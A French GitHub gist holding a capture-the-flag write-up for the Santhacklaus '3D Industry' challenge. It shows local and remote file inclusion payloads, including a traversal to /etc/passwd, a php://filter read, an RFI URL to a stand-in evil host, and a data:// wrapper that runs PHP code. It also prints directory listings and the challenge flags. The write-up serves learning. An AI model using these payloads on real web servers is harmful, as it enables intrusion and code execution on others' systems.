Skip to content

Instantly share code, notes, and snippets.

@senges
Last active December 22, 2018 15:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save senges/bec48ac952d4ff60beb82f93e62c96ca to your computer and use it in GitHub Desktop.
Save senges/bec48ac952d4ff60beb82f93e62c96ca to your computer and use it in GitHub Desktop.

3D Industry

Ceci est une petite description de la méthode que j'ai utilisée pour venir à bout du challenge 3D Industry. Il va sans dire que je ne prétend pas que cette méthode est la meilleure.

Synopsis

Le lien fourni dans la description du challenge nous renvoie sur un site vitrine. En naviguant dans les autre onglets, on remarque dans l'url un paramètre intéressant :

https://3d-industry.santhacklaus.xyz/index.php?file=services.php

Cette construction d'url laisse penser que les fichier php (donc les pages) sont inclus pas le biais de include() au sein de index.php .

Cette construction présage souvent quelques problèmes de sécurité, typiquement d'une Local File Inclusion lorsque le webmaster est une chèvre.

Exploitation (1/2)

On peut essayer de d'exploiter simplement une LFI de la façon suivante :

https://3d-industry.santhacklaus.xyz/index.php?file=../../../../etc/passwd

Pas de résultat dans notre cas, la page d'accueil s'affiche normalement.

Un autre technique commune consiste à utiliser les filtres php pour essayer de récupérer le code source des fichiers concernés.

https://3d-industry.santhacklaus.xyz/index.php?file=php://filter/read=convert.base64-encode/resource=services.php

Pas plus de résultat de ce côté là, l'accueil reste intact.

Rien non plus du côté des RFI :

https://3d-industry.santhacklaus.xyz/index.php?file=https://domain.com/some_evil_code.txt

Sans trop y croire, je me dis (avec une pointe d'espoir malgré tout) que les admins ont peut-être simplement eut la gentillesse de nous laisser executer un peu de code php sur le serveur.

J'essaye donc avec un autre wrapper d'envoyer <?php phpinfo() ?> en base64

https://3d-industry.santhacklaus.xyz/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

Et là à la surprise générale, le code s'execute sans broncher.

enter image description here On jette un coup d'oeil rapide à la racine du site avec un exec("ls -lah")

total 68
dr-xr-xr-x 8 1001 1001 4096 Dec 12 08:33 .
drwxr-xr-x 1 root root 4096 Dec 14 19:15 ..
-r-xr-xr-x 1 1001 1001 8196 Dec 12 08:33 .DS_Store
dr-xr-xr-x 3 1001 1001 4096 Dec 12 08:33 .hidden
-r-xr-xr-x 1 1001 1001 267 Dec 12 08:33 accueil.php
dr-xr-xr-x 3 1001 1001 4096 Dec 12 08:33 admin
dr-xr-xr-x 2 1001 1001 4096 Dec 12 08:33 config
-r-xr-xr-x 1 1001 1001 448 Dec 12 08:33 contact.php
-r-xr-xr-x 1 1001 1001 996 Dec 12 08:33 creations.php
dr-xr-xr-x 2 1001 1001 4096 Dec 12 08:33 inc
-r-xr-xr-x 1 1001 1001 580 Dec 12 08:33 index.php
dr-xr-xr-x 2 1001 1001 4096 Dec 12 08:33 lang
-r-xr-xr-x 1 1001 1001 125 Dec 12 08:33 lang.php
-r-xr-xr-x 1 1001 1001 461 Dec 12 08:33 services.php
dr-xr-xr-x 2 1001 1001 4096 Dec 12 08:33 style

Un petit dossier .hidden semble intéressant :

dr-xr-xr-x 3 1001 1001 4096 Dec 12 08:33 .
dr-xr-xr-x 8 1001 1001 4096 Dec 12 08:33 ..
-r-xr-xr-x 1 1001 1001 6148 Dec 12 08:33 .DS_Store
dr-xr-xr-x 3 1001 1001 4096 Dec 12 08:33 this

Je vous épargne la remontée complète, tout le monde a capté le principe. Le flag se trouve à l'adresse .hidden/this/is/the/path/to/the/flag/flag.txt

Well done ! You can validate with the flag:

IMTLD{B3w4r30fURL1nclud3}

Exploitation (2/2)

On passe donc à la partie 2 de ce challenge. En se baladant un peu dans l'arborescence du site, on tombe rapidement sur un fichier admin/uploads/s3cr37-d0cum3n7.txt

enter image description hereA priori on part sur du base64. Cela ne semble pas être une image (ne commence pas par /9J/), on fait donc une petite traduction.

cat b64.txt | base64 -d - | head

enter image description hereMéthode un peu barbare, mais qui porte malgré tout ses fruits :

SketchUp STL com.sketchup.SketchUp.2018

Après quelques recherches sur STL, on apprend que c'est un format de fichier de stéréolithographie. Focalisé sur le "Sketchup", je perd un temps incroyable à télécharger une WM Windows*, installer Sketchup en version free, installer une extension pour ouvrir les fichiers STL et enfin ouvrir le fichier.

A ce stade tout le monde comprends aisément que je suis un imbécile et que je me suis probablement compliqué la vie pour rien. Cependant, ça fonctionne et on récupère le flag sans trop de difficulté.

(On récupère le fichier de tout à l'heure, on lui colle une extension .stl et on l'ouvre avec Sketchup)

enter image description here

  • : En réalité Sketchup ne peut pas tourner sur une VM parcequ'il faut accéder à l'encodeur physique donc j'ai utilisé un PC shadow, mais l'idée est la même.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment